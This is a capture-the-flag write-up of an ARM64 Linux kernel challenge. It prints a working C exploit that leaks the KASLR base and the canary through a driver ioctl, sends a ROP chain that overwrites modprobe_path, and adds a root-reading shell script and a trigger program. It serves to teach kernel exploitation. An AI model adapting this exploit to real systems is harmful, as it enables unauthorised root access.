The original plan was to build a classic commit_creds(prepare_kernel_cred(0)) ROP chain. To do so, we needed to find the addresses of those two functions in the kernel. As we already have the KASLR base, we can just find their offsets in /proc/kallsyms. The difficult part was to find the right gadgets to setup the arguments and call those functions.

To find gadgets, we used two tools: ropper and ROPgadget. We are looking for gadgets that allow us to set x0 to 0 (the first argument register), and to call functions. In ARM64, in order to control the program counter (pc), we have two choices to end our gadgets with:

  • the ret instruction, which will jump to the address stored in x30 (the link register)
  • the blr reg instruction, which will jump to the address stored in the given register

After some research, we found the following gadget: mov x0, xzr; ldp x29, x30, [sp], #0x10; hint #0x1d; ret;. It seems perfect, as it sets x0 to 0 (using xzr, the zero register), and sets x30 from a value on the stack, which we control. We can then just put the address of prepare_kernel_cred at this location, and after the ret, it will jump to it with x0 set to 0.

However, we encountered an issue: the return value of prepare_kernel_cred(0) is in x0, and by looking at it in gdb, it was still 0 after the function call. After some research, we looked at the kernel source code in Ghidra and noticed this:

ghidra_prepare

That reminds us of the challenge statement:

I develop a secure driver with a secure recompiled kernel 😈 but I don’t share all my secrets to make it harden …

Therefore, we thought that maybe the kernel was patched to disable the classic commit_creds(prepare_kernel_cred(0)) privilege escalation. So we had to find another way.

Back to basics: modprobe_path

This is the easiest way to obtain root on Linux kernels, and we didn’t try this method first, as kmagic didn’t show the modprobe_path symbol, nor did /proc/kallsyms. However, we can still find it in /proc/sys/kernel/modprobe.

How does an exploit work using modprobe_path? modprobe_path is a global variable in the kernel that contains the path (as a string) to the modprobe binary, which is used by the kernel to load kernel modules when needed. The idea is the following: if we can overwrite this variable by another path, the kernel will try to execute the binary at this new path when it needs to load/try to load a kernel module. This article will explain it better than me, but the idea is that you can trick the kernel into executing the modprobe_path binary even on recent kernels.

We now just need to build a ROP to modify the modprobe_path. We used the following gadgets:

  • ldp x19, x20, [sp, #0x20] ; ldp x21, x22, [sp, #0x30] ; ldp x23, x24, [sp, #0x40] ; ldp x25, x26, [sp, #0x50] ; ldp x27, x28, [sp, #0x60] ; ldp x29, x30, [sp], #0x70 ; ret: this gadget will be kind of the “setup” gadget, as it will load multiple registers from the stack. At the ret, it will jump to the address stored in x30, which we control from the stack.
  • str x20, [x19]; ldp x20, x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; hint #0x1d; ret;: this gadget will overwrite modprobe_path, as str x20, [x19] will store the value of x20 (the new path) into the address pointed by x19 (the address of modprobe_path). This gadget also lets us control x30 at the end to chain to another gadget.

With those two gadgets, we are able to modify modprobe_path, and to control each time the x30 register to chain to another gadget. We now have two options to end our ROP chain:

  • Trying to restore user context and return to userland
  • Calling msleep with a big value, and then connecting another terminal to the instance (as we got ssh on this challenge) to trigger the modprobe execution

With the mess we did on the kernel stack with our ROP chain, we decided to go for the second option.

meme_sleep

To do so, we will use another gadget: mov x0, x19 ; mov x1, x21 ; ldr x8, [sp, #8] ; blr x8. This gadget will allow us to set up the arguments for msleep (x0 will be the sleep time in ms), and to call it (with blr x8, where x8 is set from the stack).

Let’s now build our final exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <errno.h>

int global_fd;

#define IOCTL_GET_MSG 0x80086B02
#define IOCTL_SET_MSG 0x40086B03

void open_device()
{
    global_fd = open("/dev/safe_device", O_RDWR);
    if (global_fd < 0) {
        printf("Failed to open device\n");
    }
    else {
        printf("Device opened successfully\n");
    }
}


void close_device()
{
    if (global_fd >= 0) {
        close(global_fd);
        global_fd = -1;
        printf("Device closed successfully\n");
    }

}

void call_ioctl(int arg1, char *arg2)
{
    int ret = ioctl(global_fd, arg1, arg2);
    if (ret < 0) {
        printf("IOCTL call failed: ret=%d errno=%d\n", ret, errno);
        perror("ioctl");
    } else {
        printf("IOCTL call succeeded: ret=%d\n", ret);
    }
}


long unsigned int leak_kaslr()
{
    long unsigned int place_to_leak = 0xffff000007f9b340;
    long unsigned int offset = 0xded98;
    call_ioctl(IOCTL_GET_MSG, &place_to_leak);
    printf("Leaked value: %lx\n", place_to_leak);
    long unsigned int kernel_text_base = place_to_leak - offset;
    printf("Kernel text base: %lx\n", kernel_text_base);
    return kernel_text_base;
}

long unsigned int leak_canary()
{
    long unsigned int place_to_leak = 0xffff000001017ec8;
    call_ioctl(IOCTL_GET_MSG, &place_to_leak);
    printf("Leaked canary: %lx\n", place_to_leak);
    return place_to_leak;
}


int main()
{
    open_device();
    long unsigned int kernel_base = leak_kaslr();
    long unsigned int canary = leak_canary();

    // 0x00d5306000d770c0 : ldp x19, x20, [sp, #0x20] ; ldp x21, x22, [sp, #0x30] ; ldp x23, x24, [sp, #0x40] ; ldp x25, x26, [sp, #0x50] ; ldp x27, x28, [sp, #0x60] ; ldp x29, x30, [sp], #0x70 ; ret
    long unsigned int gadget_all_from_rsp = kernel_base + 0x2d0c0;
    printf("gadget_all_from_rsp addr: %lx\n", gadget_all_from_rsp);

    // 0x00d5306000ec1b70: str x20, [x19]; ldp x20, x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; hint #0x1d; ret;
    long unsigned int gadget_writting_to_x19 = kernel_base + 0xf9ec;
    printf("gadget_writting_to_x19 addr: %lx\n", gadget_writting_to_x19);

     // mov x0, x19 ; mov x1, x21 ; ldr x8, [sp, #8] ; blr x8
    long unsigned int gadget_set_x0 = kernel_base + 0x1ffac0;
    printf("gadget_set_x0 addr: %lx\n", gadget_set_x0);

    long unsigned int addr_modprobe_path = 0xffff000000f139c8;
    printf("addr_modprobe_path addr: %lx\n", addr_modprobe_path);

    long unsigned int addr_msleep = kernel_base + 0xe0054;;
    printf("addr_msleep addr: %lx\n", addr_msleep);

    size_t len_payload = 0x60;
    size_t padding = 0xa;
    unsigned long int payload[len_payload];
    for (int i = 0; i < padding; i++) {
        payload[i] = canary;
    }
    payload[padding++] = gadget_all_from_rsp;
    payload[padding++] = 0xdeadbeefdeadbee1; // x29
    payload[padding++] = gadget_writting_to_x19; // x30 => called after gadget_all_from_rsp
    payload[padding++] = 0xdeadbeefdeadbee3; // dead code
    payload[padding++] = 0xdeadbeefdeadbee4; // dead code 
    payload[padding++] = addr_modprobe_path; // x19
    payload[padding++] = 0x0070412f706d742f; // x20 (/tmp/Ap)
    payload[padding++] = 0xdeadbeefdeadbee7; // x21
    payload[padding++] = 0xdeadbeefdeadbee8; // x22
    payload[padding++] = 0xdeadbeefdeadbee9; // x23
    payload[padding++] = 0xdeadbeefdeadbeea; // x24
    payload[padding++] = 0xdeadbeefdeadbeeb; // x25
    payload[padding++] = 0xdeadbeefdeadbeec; // x26
    payload[padding++] = 0xdeadbeefdeadbeed; // x27
    payload[padding++] = 0xdeadbeefdeadbeee; // x28
    payload[padding++] = 0xdeadbeefdeadbeef; // [sp]
    payload[padding++] = gadget_set_x0; // [sp + 8] => called after gadget_writting_to_x19

    payload[padding++] = 0xaaaaaaaaaaaaaaaa;
    payload[padding++] = 0xbbbbbbbbbbbbbbbb;
    payload[padding++] = 0xcccccccccccccccc; // [sp]
    payload[padding++] = addr_msleep; // [sp + 8] => called after gadget_set_x0
    payload[padding++] = 0xeeeeeeeeeeeeeeee;
    payload[padding++] = 0xffffffffffffffff;
    payload[padding++] = 0x1111111111111111;



    call_ioctl(IOCTL_SET_MSG, payload);


    close_device();
    return 0;
}

After running this script on the remote, just connect another terminal to the instance, create the /tmp/Ap binary with the following content:

1
2
3
4
#!/bin/sh

id > /tmp/id
cat /root/flag.txt > /tmp/flag

And trigger the modprobe execution with this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(void)
{
        struct sockaddr_alg sa;
        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd < 0) {
                perror("socket(AF_ALG) failed");
                return 1;
        }

        memset(&sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, "V4bel");  // dummy string
        bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

        return 0;
}

And we got the flag: Hero{e9ae08713bb1b4d486ca2f494f7562770a5fe82b}.

Conclusion

This challenge was really fun to solve, and we struggled a bit with the ARM64 ROP part, as it was my first time doing ROP on ARM64. In the end, we managed to pull the solve, and it was my first time flagging a kernel pwn challenge in a CTF! However, in order to improve, let’s try to answer all the questions to understand everything.

Answering all questions

meme_understand

These questions are answered after the CTF, by looking at the official writeup and doing some research.

Why are some addresses that are not subject to KASLR randomization ?

From the author’s writeup:

The thing is with aarch64 linux kernel, there is no randomization of the linear map section, and the kernel is loaded as a physical address.

And he also gives us this link from Project Zero.

From the article:

The linear mapping is a region in the kernel virtual address space that is a direct 1:1 unstructured representation of physical memory.

Therefore, if this region is not randomized, it makes sense that we can find addresses that are not randomized by KASLR, and use them to leak the KASLR base.

What does the “hint” instruction do ?

I don’t know if you noticed but in some gadgets, there is this instruction hint. In this write-up, I just ignored it, as the protection related to it was not activated during this challenge, but let’s take a look at it.

If PAC (Pointer Authentication Code) were enabled on this Kernel, we couldn’t just use some gadget like this one: str x20, [x19]; ldp x20, x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; hint #0x1d; ret; because it contains hint #0x1d (=autiasp). This instruction is ignored by the kernel when PAC is not enabled, but otherwise it will check if the pointer contained in x30 is authenticated, and if not it will crash. This is a good protection against ROP chains because it requires adding an additional step to our exploit to forge an authenticated pointer for the next gadget/function.

If you want to learn more about PAC, feel free to read this article or this writeup from the challenge author Itarow.

Why does bata24 GEF sometimes crash ?

We also found the answer in the official write-up:

The tricky thing is kernel is compiled with random structure layout : https://medium.com/@boutnaru/the-linux-kernel-macro-journey-randomize-layout-b611e4c597ff. It might breaks GDB plugins like the one from bata24.

The macro __randomize_layout randomizes the layout of structures in order to make kernel exploitation harder. However, this breaks some GDB plugins like bata24 gef, which expect a fixed structure layout to work properly. This image from the article explains it well:

random_struct

Why does the classic commit_creds(prepare_kernel_cred(0)) technique not work here ?

During the CTF, we thought that the kernel was patched to disable this classic privilege escalation technique. However, after asking the author, he told us that the kernel was not patched, and by looking at the source code of the kernel, we can see that prepare_kernel_cred(0) no longer returns kernel credentials, but the exploit with prepare_kernel_cred(init_task) still works. Therefore, our initial plan could have worked if we used prepare_kernel_cred(init_task) instead of prepare_kernel_cred(0).

Thank you for reading this write-up ! I hope you enjoyed it, and if you have any questions, feel free to DM me on Discord (apdix).

This post is licensed under CC BY 4.0 by the author.